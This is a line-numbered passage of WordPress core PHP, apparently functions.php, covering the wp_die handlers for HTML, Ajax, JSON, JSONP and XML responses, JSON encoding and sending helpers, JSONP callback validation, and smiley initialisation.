3941 background: #fff;
3942 border: 1px solid #ccd0d4;
3943 color: #444;
3944 font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
3945 margin: 2em auto;
3946 padding: 1em 2em;
3947 max-width: 700px;
3948 -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);
3949 box-shadow: 0 1px 1px rgba(0, 0, 0, .04);
3950 }
3951 h1 {
3952 border-bottom: 1px solid #dadada;
3953 clear: both;
3954 color: #666;
3955 font-size: 24px;
3956 margin: 30px 0 0 0;
3957 padding: 0;
3958 padding-bottom: 7px;
3959 }
3960 #error-page {
3961 margin-top: 50px;
3962 }
3963 #error-page p,
3964 #error-page .wp-die-message {
3965 font-size: 14px;
3966 line-height: 1.5;
3967 margin: 25px 0 20px;
3968 }
3969 #error-page code {
3970 font-family: Consolas, Monaco, monospace;
3971 }
3972 ul li {
3973 margin-bottom: 10px;
3974 font-size: 14px ;
3975 }
3976 a {
3977 color: #3858e9;
3978 }
3979 a:hover,
3980 a:active {
3981 color: #183ad6;
3982 }
3983 a:focus {
3984 color: #183ad6;
3985 box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9);
3986 outline: 2px solid transparent;
3987 }
3988 .button {
3989 background: #f3f5f6;
3990 border: 1px solid #016087;
3991 color: #016087;
3992 display: inline-block;
3993 text-decoration: none;
3994 font-size: 13px;
3995 line-height: 2;
3996 height: 28px;
3997 margin: 0;
3998 padding: 0 10px 1px;
3999 cursor: pointer;
4000 -webkit-border-radius: 3px;
4001 -webkit-appearance: none;
4002 border-radius: 3px;
4003 white-space: nowrap;
4004 -webkit-box-sizing: border-box;
4005 -moz-box-sizing: border-box;
4006 box-sizing: border-box;
4007
4008 vertical-align: top;
4009 }
4010
4011 .button.button-large {
4012 line-height: 2.30769231;
4013 min-height: 32px;
4014 padding: 0 12px;
4015 }
4016
4017 .button:hover,
4018 .button:focus {
4019 background: #f1f1f1;
4020 }
4021
4022 .button:focus {
4023 background: #f3f5f6;
4024 border-color: #007cba;
4025 -webkit-box-shadow: 0 0 0 1px #007cba;
4026 box-shadow: 0 0 0 1px #007cba;
4027 color: #016087;
4028 outline: 2px solid transparent;
4029 outline-offset: 0;
4030 }
4031
4032 .button:active {
4033 background: #f3f5f6;
4034 border-color: #7e8993;
4035 -webkit-box-shadow: none;
4036 box-shadow: none;
4037 }
4038
4039 <?php
4040 if ( 'rtl' === $text_direction ) {
4041 echo 'body { font-family: Tahoma, Arial; }';
4042 }
4043 ?>
4044 </style>
4045</head>
4046<body id="error-page">
4047<?php endif; // ! did_action( 'admin_head' ) ?>
4048 <?php echo $message; ?>
4049</body>
4050</html>
4051 <?php
4052 if ( $parsed_args['exit'] ) {
4053 die();
4054 }
4055}
4056
4057/**
4058 * Kills WordPress execution and displays Ajax response with an error message.
4059 *
4060 * This is the handler for wp_die() when processing Ajax requests.
4061 *
4062 * @since 3.4.0
4063 * @access private
4064 *
4065 * @param string $message Error message.
4066 * @param string $title Optional. Error title (unused). Default empty string.
4067 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
4068 */
4069function _ajax_wp_die_handler( $message, $title = '', $args = array() ) {
4070 // Set default 'response' to 200 for Ajax requests.
4071 $args = wp_parse_args(
4072 $args,
4073 array( 'response' => 200 )
4074 );
4075
4076 list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );
4077
4078 if ( ! headers_sent() ) {
4079 // This is intentional. For backward-compatibility, support passing null here.
4080 if ( null !== $args['response'] ) {
4081 status_header( $parsed_args['response'] );
4082 }
4083 nocache_headers();
4084 }
4085
4086 if ( is_scalar( $message ) ) {
4087 $message = (string) $message;
4088 } else {
4089 $message = '0';
4090 }
4091
4092 if ( $parsed_args['exit'] ) {
4093 die( $message );
4094 }
4095
4096 echo $message;
4097}
4098
4099/**
4100 * Kills WordPress execution and displays JSON response with an error message.
4101 *
4102 * This is the handler for wp_die() when processing JSON requests.
4103 *
4104 * @since 5.1.0
4105 * @access private
4106 *
4107 * @param string $message Error message.
4108 * @param string $title Optional. Error title. Default empty string.
4109 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
4110 */
4111function _json_wp_die_handler( $message, $title = '', $args = array() ) {
4112 list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );
4113
4114 $data = array(
4115 'code' => $parsed_args['code'],
4116 'message' => $message,
4117 'data' => array(
4118 'status' => $parsed_args['response'],
4119 ),
4120 'additional_errors' => $parsed_args['additional_errors'],
4121 );
4122
4123 if ( isset( $parsed_args['error_data'] ) ) {
4124 $data['data']['error'] = $parsed_args['error_data'];
4125 }
4126
4127 if ( ! headers_sent() ) {
4128 header( "Content-Type: application/json; charset={$parsed_args['charset']}" );
4129 if ( null !== $parsed_args['response'] ) {
4130 status_header( $parsed_args['response'] );
4131 }
4132 nocache_headers();
4133 }
4134
4135 echo wp_json_encode( $data );
4136 if ( $parsed_args['exit'] ) {
4137 die();
4138 }
4139}
4140
4141/**
4142 * Kills WordPress execution and displays JSONP response with an error message.
4143 *
4144 * This is the handler for wp_die() when processing JSONP requests.
4145 *
4146 * @since 5.2.0
4147 * @access private
4148 *
4149 * @param string $message Error message.
4150 * @param string $title Optional. Error title. Default empty string.
4151 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
4152 */
4153function _jsonp_wp_die_handler( $message, $title = '', $args = array() ) {
4154 list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );
4155
4156 $data = array(
4157 'code' => $parsed_args['code'],
4158 'message' => $message,
4159 'data' => array(
4160 'status' => $parsed_args['response'],
4161 ),
4162 'additional_errors' => $parsed_args['additional_errors'],
4163 );
4164
4165 if ( isset( $parsed_args['error_data'] ) ) {
4166 $data['data']['error'] = $parsed_args['error_data'];
4167 }
4168
4169 if ( ! headers_sent() ) {
4170 header( "Content-Type: application/javascript; charset={$parsed_args['charset']}" );
4171 header( 'X-Content-Type-Options: nosniff' );
4172 header( 'X-Robots-Tag: noindex' );
4173 if ( null !== $parsed_args['response'] ) {
4174 status_header( $parsed_args['response'] );
4175 }
4176 nocache_headers();
4177 }
4178
4179 $result = wp_json_encode( $data );
4180 $jsonp_callback = $_GET['_jsonp'];
4181 echo '/**/' . $jsonp_callback . '(' . $result . ')';
4182 if ( $parsed_args['exit'] ) {
4183 die();
4184 }
4185}
4186
4187/**
4188 * Kills WordPress execution and displays XML response with an error message.
4189 *
4190 * This is the handler for wp_die() when processing XML-RPC requests.
4191 *
4192 * @since 3.2.0
4193 * @access private
4194 *
4195 * @global wp_xmlrpc_server $wp_xmlrpc_server
4196 *
4197 * @param string $message Error message.
4198 * @param string $title Optional. Error title. Default empty string.
4199 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
4200 */
4201function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
4202 global $wp_xmlrpc_server;
4203
4204 list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );
4205
4206 if ( ! headers_sent() ) {
4207 nocache_headers();
4208 }
4209
4210 if ( $wp_xmlrpc_server ) {
4211 $error = new IXR_Error( $parsed_args['response'], $message );
4212 $wp_xmlrpc_server->output( $error->getXml() );
4213 }
4214 if ( $parsed_args['exit'] ) {
4215 die();
4216 }
4217}
4218
4219/**
4220 * Kills WordPress execution and displays XML response with an error message.
4221 *
4222 * This is the handler for wp_die() when processing XML requests.
4223 *
4224 * @since 5.2.0
4225 * @access private
4226 *
4227 * @param string $message Error message.
4228 * @param string $title Optional. Error title. Default empty string.
4229 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
4230 */
4231function _xml_wp_die_handler( $message, $title = '', $args = array() ) {
4232 list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );
4233
4234 $message = htmlspecialchars( $message );
4235 $title = htmlspecialchars( $title );
4236
4237 $xml = <<<EOD
4238<error>
4239 <code>{$parsed_args['code']}</code>
4240 <title><![CDATA[{$title}]]></title>
4241 <message><![CDATA[{$message}]]></message>
4242 <data>
4243 <status>{$parsed_args['response']}</status>
4244 </data>
4245</error>
4246
4247EOD;
4248
4249 if ( ! headers_sent() ) {
4250 header( "Content-Type: text/xml; charset={$parsed_args['charset']}" );
4251 if ( null !== $parsed_args['response'] ) {
4252 status_header( $parsed_args['response'] );
4253 }
4254 nocache_headers();
4255 }
4256
4257 echo $xml;
4258 if ( $parsed_args['exit'] ) {
4259 die();
4260 }
4261}
4262
4263/**
4264 * Kills WordPress execution and displays an error message.
4265 *
4266 * This is the handler for wp_die() when processing APP requests.
4267 *
4268 * @since 3.4.0
4269 * @since 5.1.0 Added the $title and $args parameters.
4270 * @access private
4271 *
4272 * @param string $message Optional. Response to print. Default empty string.
4273 * @param string $title Optional. Error title (unused). Default empty string.
4274 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
4275 */
4276function _scalar_wp_die_handler( $message = '', $title = '', $args = array() ) {
4277 list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );
4278
4279 if ( $parsed_args['exit'] ) {
4280 if ( is_scalar( $message ) ) {
4281 die( (string) $message );
4282 }
4283 die();
4284 }
4285
4286 if ( is_scalar( $message ) ) {
4287 echo (string) $message;
4288 }
4289}
4290
4291/**
4292 * Processes arguments passed to wp_die() consistently for its handlers.
4293 *
4294 * @since 5.1.0
4295 * @access private
4296 *
4297 * @param string|WP_Error $message Error message or WP_Error object.
4298 * @param string $title Optional. Error title. Default empty string.
4299 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
4300 * @return array {
4301 * Processed arguments.
4302 *
4303 * @type string $0 Error message.
4304 * @type string $1 Error title.
4305 * @type array $2 Arguments to control behavior.
4306 * }
4307 */
4308function _wp_die_process_input( $message, $title = '', $args = array() ) {
4309 $defaults = array(
4310 'response' => 0,
4311 'code' => '',
4312 'exit' => true,
4313 'back_link' => false,
4314 'link_url' => '',
4315 'link_text' => '',
4316 'text_direction' => '',
4317 'charset' => 'utf-8',
4318 'additional_errors' => array(),
4319 );
4320
4321 $args = wp_parse_args( $args, $defaults );
4322
4323 if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
4324 if ( ! empty( $message->errors ) ) {
4325 $errors = array();
4326 foreach ( (array) $message->errors as $error_code => $error_messages ) {
4327 foreach ( (array) $error_messages as $error_message ) {
4328 $errors[] = array(
4329 'code' => $error_code,
4330 'message' => $error_message,
4331 'data' => $message->get_error_data( $error_code ),
4332 );
4333 }
4334 }
4335
4336 $message = $errors[0]['message'];
4337 if ( empty( $args['code'] ) ) {
4338 $args['code'] = $errors[0]['code'];
4339 }
4340 if ( empty( $args['response'] ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['status'] ) ) {
4341 $args['response'] = $errors[0]['data']['status'];
4342 }
4343 if ( empty( $title ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['title'] ) ) {
4344 $title = $errors[0]['data']['title'];
4345 }
4346 if ( WP_DEBUG_DISPLAY && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['error'] ) ) {
4347 $args['error_data'] = $errors[0]['data']['error'];
4348 }
4349
4350 unset( $errors[0] );
4351 $args['additional_errors'] = array_values( $errors );
4352 } else {
4353 $message = '';
4354 }
4355 }
4356
4357 $have_gettext = function_exists( '__' );
4358
4359 // The $title and these specific $args must always have a non-empty value.
4360 if ( empty( $args['code'] ) ) {
4361 $args['code'] = 'wp_die';
4362 }
4363 if ( empty( $args['response'] ) ) {
4364 $args['response'] = 500;
4365 }
4366 if ( empty( $title ) ) {
4367 $title = $have_gettext ? __( 'WordPress › Error' ) : 'WordPress › Error';
4368 }
4369 if ( empty( $args['text_direction'] ) || ! in_array( $args['text_direction'], array( 'ltr', 'rtl' ), true ) ) {
4370 $args['text_direction'] = 'ltr';
4371 if ( function_exists( 'is_rtl' ) && is_rtl() ) {
4372 $args['text_direction'] = 'rtl';
4373 }
4374 }
4375
4376 if ( ! empty( $args['charset'] ) ) {
4377 $args['charset'] = _canonical_charset( $args['charset'] );
4378 }
4379
4380 return array( $message, $title, $args );
4381}
4382
4383/**
4384 * Encodes a variable into JSON, with some confidence checks.
4385 *
4386 * @since 4.1.0
4387 * @since 5.3.0 No longer handles support for PHP < 5.6.
4388 * @since 6.5.0 The `$data` parameter has been renamed to `$value` and
4389 * the `$options` parameter to `$flags` for parity with PHP.
4390 *
4391 * @param mixed $value Variable (usually an array or object) to encode as JSON.
4392 * @param int $flags Optional. Options to be passed to json_encode(). Default 0.
4393 * @param int $depth Optional. Maximum depth to walk through $value. Must be
4394 * greater than 0. Default 512.
4395 * @return string|false The JSON encoded string, or false if it cannot be encoded.
4396 */
4397function wp_json_encode( $value, $flags = 0, $depth = 512 ) {
4398 $json = json_encode( $value, $flags, $depth );
4399
4400 // If json_encode() was successful, no need to do more confidence checking.
4401 if ( false !== $json ) {
4402 return $json;
4403 }
4404
4405 try {
4406 $value = _wp_json_sanity_check( $value, $depth );
4407 } catch ( Exception $e ) {
4408 return false;
4409 }
4410
4411 return json_encode( $value, $flags, $depth );
4412}
4413
4414/**
4415 * Performs confidence checks on data that shall be encoded to JSON.
4416 *
4417 * @ignore
4418 * @since 4.1.0
4419 * @access private
4420 *
4421 * @see wp_json_encode()
4422 *
4423 * @throws Exception If depth limit is reached.
4424 *
4425 * @param mixed $value Variable (usually an array or object) to encode as JSON.
4426 * @param int $depth Maximum depth to walk through $value. Must be greater than 0.
4427 * @return mixed The sanitized data that shall be encoded to JSON.
4428 */
4429function _wp_json_sanity_check( $value, $depth ) {
4430 if ( $depth < 0 ) {
4431 throw new Exception( 'Reached depth limit' );
4432 }
4433
4434 if ( is_array( $value ) ) {
4435 $output = array();
4436 foreach ( $value as $id => $el ) {
4437 // Don't forget to sanitize the ID!
4438 if ( is_string( $id ) ) {
4439 $clean_id = _wp_json_convert_string( $id );
4440 } else {
4441 $clean_id = $id;
4442 }
4443
4444 // Check the element type, so that we're only recursing if we really have to.
4445 if ( is_array( $el ) || is_object( $el ) ) {
4446 $output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
4447 } elseif ( is_string( $el ) ) {
4448 $output[ $clean_id ] = _wp_json_convert_string( $el );
4449 } else {
4450 $output[ $clean_id ] = $el;
4451 }
4452 }
4453 } elseif ( is_object( $value ) ) {
4454 $output = new stdClass();
4455 foreach ( $value as $id => $el ) {
4456 if ( is_string( $id ) ) {
4457 $clean_id = _wp_json_convert_string( $id );
4458 } else {
4459 $clean_id = $id;
4460 }
4461
4462 if ( is_array( $el ) || is_object( $el ) ) {
4463 $output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
4464 } elseif ( is_string( $el ) ) {
4465 $output->$clean_id = _wp_json_convert_string( $el );
4466 } else {
4467 $output->$clean_id = $el;
4468 }
4469 }
4470 } elseif ( is_string( $value ) ) {
4471 return _wp_json_convert_string( $value );
4472 } else {
4473 return $value;
4474 }
4475
4476 return $output;
4477}
4478
4479/**
4480 * Converts a string to UTF-8, so that it can be safely encoded to JSON.
4481 *
4482 * @ignore
4483 * @since 4.1.0
4484 * @access private
4485 *
4486 * @see _wp_json_sanity_check()
4487 *
4488 * @param string $input_string The string which is to be converted.
4489 * @return string The checked string.
4490 */
4491function _wp_json_convert_string( $input_string ) {
4492 static $use_mb = null;
4493 if ( is_null( $use_mb ) ) {
4494 $use_mb = function_exists( 'mb_convert_encoding' );
4495 }
4496
4497 if ( $use_mb ) {
4498 $encoding = mb_detect_encoding( $input_string, mb_detect_order(), true );
4499 if ( $encoding ) {
4500 return mb_convert_encoding( $input_string, 'UTF-8', $encoding );
4501 } else {
4502 return mb_convert_encoding( $input_string, 'UTF-8', 'UTF-8' );
4503 }
4504 } else {
4505 return wp_check_invalid_utf8( $input_string, true );
4506 }
4507}
4508
4509/**
4510 * Prepares response data to be serialized to JSON.
4511 *
4512 * This supports the JsonSerializable interface for PHP 5.2-5.3 as well.
4513 *
4514 * @ignore
4515 * @since 4.4.0
4516 * @deprecated 5.3.0 This function is no longer needed as support for PHP 5.2-5.3
4517 * has been dropped.
4518 * @access private
4519 *
4520 * @param mixed $value Native representation.
4521 * @return bool|int|float|null|string|array Data ready for `json_encode()`.
4522 */
4523function _wp_json_prepare_data( $value ) {
4524 _deprecated_function( __FUNCTION__, '5.3.0' );
4525 return $value;
4526}
4527
4528/**
4529 * Sends a JSON response back to an Ajax request.
4530 *
4531 * @since 3.5.0
4532 * @since 4.7.0 The `$status_code` parameter was added.
4533 * @since 5.6.0 The `$flags` parameter was added.
4534 *
4535 * @param mixed $response Variable (usually an array or object) to encode as JSON,
4536 * then print and die.
4537 * @param int $status_code Optional. The HTTP status code to output. Default null.
4538 * @param int $flags Optional. Options to be passed to json_encode(). Default 0.
4539 */
4540function wp_send_json( $response, $status_code = null, $flags = 0 ) {
4541 if ( wp_is_serving_rest_request() ) {
4542 _doing_it_wrong(
4543 __FUNCTION__,
4544 sprintf(
4545 /* translators: 1: WP_REST_Response, 2: WP_Error */
4546 __( 'Return a %1$s or %2$s object from your callback when using the REST API.' ),
4547 'WP_REST_Response',
4548 'WP_Error'
4549 ),
4550 '5.5.0'
4551 );
4552 }
4553
4554 if ( ! headers_sent() ) {
4555 header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
4556 if ( null !== $status_code ) {
4557 status_header( $status_code );
4558 }
4559 }
4560
4561 echo wp_json_encode( $response, $flags );
4562
4563 if ( wp_doing_ajax() ) {
4564 wp_die(
4565 '',
4566 '',
4567 array(
4568 'response' => null,
4569 )
4570 );
4571 } else {
4572 die;
4573 }
4574}
4575
4576/**
4577 * Sends a JSON response back to an Ajax request, indicating success.
4578 *
4579 * @since 3.5.0
4580 * @since 4.7.0 The `$status_code` parameter was added.
4581 * @since 5.6.0 The `$flags` parameter was added.
4582 *
4583 * @param mixed $value Optional. Data to encode as JSON, then print and die. Default null.
4584 * @param int $status_code Optional. The HTTP status code to output. Default null.
4585 * @param int $flags Optional. Options to be passed to json_encode(). Default 0.
4586 */
4587function wp_send_json_success( $value = null, $status_code = null, $flags = 0 ) {
4588 $response = array( 'success' => true );
4589
4590 if ( isset( $value ) ) {
4591 $response['data'] = $value;
4592 }
4593
4594 wp_send_json( $response, $status_code, $flags );
4595}
4596
4597/**
4598 * Sends a JSON response back to an Ajax request, indicating failure.
4599 *
4600 * If the `$value` parameter is a WP_Error object, the errors
4601 * within the object are processed and output as an array of error
4602 * codes and corresponding messages. All other types are output
4603 * without further processing.
4604 *
4605 * @since 3.5.0
4606 * @since 4.1.0 The `$value` parameter is now processed if a WP_Error object is passed in.
4607 * @since 4.7.0 The `$status_code` parameter was added.
4608 * @since 5.6.0 The `$flags` parameter was added.
4609 *
4610 * @param mixed $value Optional. Data to encode as JSON, then print and die. Default null.
4611 * @param int $status_code Optional. The HTTP status code to output. Default null.
4612 * @param int $flags Optional. Options to be passed to json_encode(). Default 0.
4613 */
4614function wp_send_json_error( $value = null, $status_code = null, $flags = 0 ) {
4615 $response = array( 'success' => false );
4616
4617 if ( isset( $value ) ) {
4618 if ( is_wp_error( $value ) ) {
4619 $result = array();
4620 foreach ( $value->errors as $code => $messages ) {
4621 foreach ( $messages as $message ) {
4622 $result[] = array(
4623 'code' => $code,
4624 'message' => $message,
4625 );
4626 }
4627 }
4628
4629 $response['data'] = $result;
4630 } else {
4631 $response['data'] = $value;
4632 }
4633 }
4634
4635 wp_send_json( $response, $status_code, $flags );
4636}
4637
4638/**
4639 * Checks that a JSONP callback is a valid JavaScript callback name.
4640 *
4641 * Only allows alphanumeric characters and the dot character in callback
4642 * function names. This helps to mitigate XSS attacks caused by directly
4643 * outputting user input.
4644 *
4645 * @since 4.6.0
4646 *
4647 * @param string $callback Supplied JSONP callback function name.
4648 * @return bool Whether the callback function name is valid.
4649 */
4650function wp_check_jsonp_callback( $callback ) {
4651 if ( ! is_string( $callback ) ) {
4652 return false;
4653 }
4654
4655 preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count );
4656
4657 return 0 === $illegal_char_count;
4658}
4659
4660/**
4661 * Reads and decodes a JSON file.
4662 *
4663 * @since 5.9.0
4664 *
4665 * @param string $filename Path to the JSON file.
4666 * @param array $options {
4667 * Optional. Options to be used with `json_decode()`.
4668 *
4669 * @type bool $associative Optional. When `true`, JSON objects will be returned as associative arrays.
4670 * When `false`, JSON objects will be returned as objects. Default false.
4671 * }
4672 *
4673 * @return mixed Returns the value encoded in JSON in appropriate PHP type.
4674 * `null` is returned if the file is not found, or its content can't be decoded.
4675 */
4676function wp_json_file_decode( $filename, $options = array() ) {
4677 $result = null;
4678 $filename = wp_normalize_path( realpath( $filename ) );
4679
4680 if ( ! $filename ) {
4681 wp_trigger_error(
4682 __FUNCTION__,
4683 sprintf(
4684 /* translators: %s: Path to the JSON file. */
4685 __( "File %s doesn't exist!" ),
4686 $filename
4687 )
4688 );
4689 return $result;
4690 }
4691
4692 $options = wp_parse_args( $options, array( 'associative' => false ) );
4693 $decoded_file = json_decode( file_get_contents( $filename ), $options['associative'] );
4694
4695 if ( JSON_ERROR_NONE !== json_last_error() ) {
4696 wp_trigger_error(
4697 __FUNCTION__,
4698 sprintf(
4699 /* translators: 1: Path to the JSON file, 2: Error message. */
4700 __( 'Error when decoding a JSON file at path %1$s: %2$s' ),
4701 $filename,
4702 json_last_error_msg()
4703 )
4704 );
4705 return $result;
4706 }
4707
4708 return $decoded_file;
4709}
4710
4711/**
4712 * Retrieves the WordPress home page URL.
4713 *
4714 * If the constant named 'WP_HOME' exists, then it will be used and returned
4715 * by the function. This can be used to counter the redirection on your local
4716 * development environment.
4717 *
4718 * @since 2.2.0
4719 * @access private
4720 *
4721 * @see WP_HOME
4722 *
4723 * @param string $url URL for the home location.
4724 * @return string Homepage location.
4725 */
4726function _config_wp_home( $url = '' ) {
4727 if ( defined( 'WP_HOME' ) ) {
4728 return untrailingslashit( WP_HOME );
4729 }
4730 return $url;
4731}
4732
4733/**
4734 * Retrieves the WordPress site URL.
4735 *
4736 * If the constant named 'WP_SITEURL' is defined, then the value in that
4737 * constant will always be returned. This can be used for debugging a site
4738 * on your localhost while not having to change the database to your URL.
4739 *
4740 * @since 2.2.0
4741 * @access private
4742 *
4743 * @see WP_SITEURL
4744 *
4745 * @param string $url URL to set the WordPress site location.
4746 * @return string The WordPress site URL.
4747 */
4748function _config_wp_siteurl( $url = '' ) {
4749 if ( defined( 'WP_SITEURL' ) ) {
4750 return untrailingslashit( WP_SITEURL );
4751 }
4752 return $url;
4753}
4754
4755/**
4756 * Deletes the fresh site option.
4757 *
4758 * @since 4.7.0
4759 * @access private
4760 */
4761function _delete_option_fresh_site() {
4762 update_option( 'fresh_site', '0', false );
4763}
4764
4765/**
4766 * Sets the localized direction for MCE plugin.
4767 *
4768 * Will only set the direction to 'rtl', if the WordPress locale has
4769 * the text direction set to 'rtl'.
4770 *
4771 * Fills in the 'directionality' setting, enables the 'directionality'
4772 * plugin, and adds the 'ltr' button to 'toolbar1', formerly
4773 * 'theme_advanced_buttons1' array keys. These keys are then returned
4774 * in the $mce_init (TinyMCE settings) array.
4775 *
4776 * @since 2.1.0
4777 * @access private
4778 *
4779 * @param array $mce_init MCE settings array.
4780 * @return array Direction set for 'rtl', if needed by locale.
4781 */
4782function _mce_set_direction( $mce_init ) {
4783 if ( is_rtl() ) {
4784 $mce_init['directionality'] = 'rtl';
4785 $mce_init['rtl_ui'] = true;
4786
4787 if ( ! empty( $mce_init['plugins'] ) && ! str_contains( $mce_init['plugins'], 'directionality' ) ) {
4788 $mce_init['plugins'] .= ',directionality';
4789 }
4790
4791 if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) {
4792 $mce_init['toolbar1'] .= ',ltr';
4793 }
4794 }
4795
4796 return $mce_init;
4797}
4798
4799/**
4800 * Determines whether WordPress is currently serving a REST API request.
4801 *
4802 * The function relies on the 'REST_REQUEST' global. As such, it only returns true when an actual REST _request_ is
4803 * being made. It does not return true when a REST endpoint is hit as part of another request, e.g. for preloading a
4804 * REST response. See {@see wp_is_rest_endpoint()} for that purpose.
4805 *
4806 * This function should not be called until the {@see 'parse_request'} action, as the constant is only defined then,
4807 * even for an actual REST request.
4808 *
4809 * @since 6.5.0
4810 *
4811 * @return bool True if it's a WordPress REST API request, false otherwise.
4812 */
4813function wp_is_serving_rest_request() {
4814 return defined( 'REST_REQUEST' ) && REST_REQUEST;
4815}
4816
4817/**
4818 * Converts smiley code to the icon graphic file equivalent.
4819 *
4820 * You can turn off smilies, by going to the write setting screen and unchecking
4821 * the box, or by setting 'use_smilies' option to false or removing the option.
4822 *
4823 * Plugins may override the default smiley list by setting the $wpsmiliestrans
4824 * to an array, with the key the code the blogger types in and the value the
4825 * image file.
4826 *
4827 * The $wp_smiliessearch global is for the regular expression and is set each
4828 * time the function is called.
4829 *
4830 * The full list of smilies can be found in the function and won't be listed in
4831 * the description. Probably should create a Codex page for it, so that it is
4832 * available.
4833 *
4834 * @since 2.2.0
4835 *
4836 * @global array $wpsmiliestrans
4837 * @global array $wp_smiliessearch
4838 */
4839function smilies_init() {
4840 global $wpsmiliestrans, $wp_smiliessearch;
4841
4842 // Don't bother setting up smilies if they are disabled.
4843 if ( ! get_option( 'use_smilies' ) ) {
4844 return;
4845 }
4846
4847 if ( ! isset( $wpsmiliestrans ) ) {
4848 $wpsmiliestrans = array(
4849 ':mrgreen:' => 'mrgreen.png',
4850 ':neutral:' => "\xf0\x9f\x98\x90",
4851 ':twisted:' => "\xf0\x9f\x98\x88",
4852 ':arrow:' => "\xe2\x9e\xa1",
4853 ':shock:' => "\xf0\x9f\x98\xaf",
4854 ':smile:' => "\xf0\x9f\x99\x82",
4855 ':???:' => "\xf0\x9f\x98\x95",
4856 ':cool:' => "\xf0\x9f\x98\x8e",
4857 ':evil:' => "\xf0\x9f\x91\xbf",
4858 ':grin:' => "\xf0\x9f\x98\x80",
4859 ':idea:' => "\xf0\x9f\x92\xa1",
4860 ':oops:' => "\xf0\x9f\x98\xb3",
4861 ':razz:' => "\xf0\x9f\x98\x9b",
4862 ':roll:' => "\xf0\x9f\x99\x84",
4863 ':wink:' => "\xf0\x9f\x98\x89",
4864 ':cry:' => "\xf0\x9f\x98\xa5",
4865 ':eek:' => "\xf0\x9f\x98\xae",
4866 ':lol:' => "\xf0\x9f\x98\x86",
4867 ':mad:' => "\xf0\x9f\x98\xa1",
4868 ':sad:' => "\xf0\x9f\x99\x81",
4869 '8-)' => "\xf0\x9f\x98\x8e",
4870 '8-O' => "\xf0\x9f\x98\xaf",
4871 ':-(' => "\xf0\x9f\x99\x81",
4872 ':-)' => "\xf0\x9f\x99\x82",
4873 ':-?' => "\xf0\x9f\x98\x95",
4874 ':-D' => "\xf0\x9f\x98\x80",
4875 ':-P' => "\xf0\x9f\x98\x9b",
4876 ':-o' => "\xf0\x9f\x98\xae",
4877 ':-x' => "\xf0\x9f\x98\xa1",
4878 ':-|' => "\xf0\x9f\x98\x90",
4879 ';-)' => "\xf0\x9f\x98\x89",
4880 // This one transformation breaks regular text with frequency.
4881 // '8)' => "\xf0\x9f\x98\x8e",
4882 '8O' => "\xf0\x9f\x98\xaf",
4883 ':(' => "\xf0\x9f\x99\x81",
4884 ':)' => "\xf0\x9f\x99\x82",
4885 ':?' => "\xf0\x9f\x98\x95",
4886 ':D' => "\xf0\x9f\x98\x80",
4887 ':P' => "\xf0\x9f\x98\x9b",
4888 ':o' => "\xf0\x9f\x98\xae",
4889 ':x' => "\xf0\x9f\x98\xa1",
4890 ':|' => "\xf0\x9f\x98\x90",
4891 ';)' => "\xf0\x9f\x98\x89",
4892 ':!:' => "\xe2\x9d\x97",
4893 ':?:' => "\xe2\x9d\x93",
4894 );
4895 }
4896
4897 /**
4898 * Filters all the smilies.
4899 *
4900 * This filter must be added before `smilies_init` is run, as
4901 * it is normally only run once to setup the smilies regex.
4902 *
4903 * @since 4.7.0
4904 *
4905 * @param string[] $wpsmiliestrans List of the smilies' hexadecimal representations, keyed by their smily code.
4906 */
4907 $wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans );
4908
4909 if ( count( $wpsmiliestrans ) === 0 ) {
4910 return;
4911 }
4912
4913 /*
4914 * NOTE: we sort the smilies in reverse key order. This is to make sure
4915 * we match the longest possible smilie (:???: vs :?) as the regular
4916 * expression used below is first-match
4917 */
4918 krsort( $wpsmiliestrans );
4919
4920 $spaces = wp_spaces_regexp();
4921
4922 // Begin first "subpattern".
4923 $wp_smiliessearch = '/(?<=' . $spaces . '|^)';
4924
4925 $subchar = '';
4926 foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
4927 $firstchar = substr( $smiley, 0, 1 );
4928 $rest = substr( $smiley, 1 );
4929
4930 // New subpattern?
4931 if ( $firstchar !== $subchar ) {
4932 if ( '' !== $subchar ) {
4933 $wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern".
4934 $wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern".
4935 }
4936
4937 $subchar = $firstchar;
4938 $wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:';
4939 } else {
4940 $wp_smiliessearch .= '|';
4941 }
4942
4943 $wp_smiliessearch .= preg_quote( $rest, '/' );
4944 }
4945
4946 $wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
4947}
4948
4949/**
4950 * Merges user defined arguments into defaults array.
4951 *
4952 * This function is used throughout WordPress to allow for both string or array
4953 * to be merged into another array.
4954 *
4955 * @since 2.2.0
4956 * @since 2.3.0 `$args` can now also be an object.
4957 *
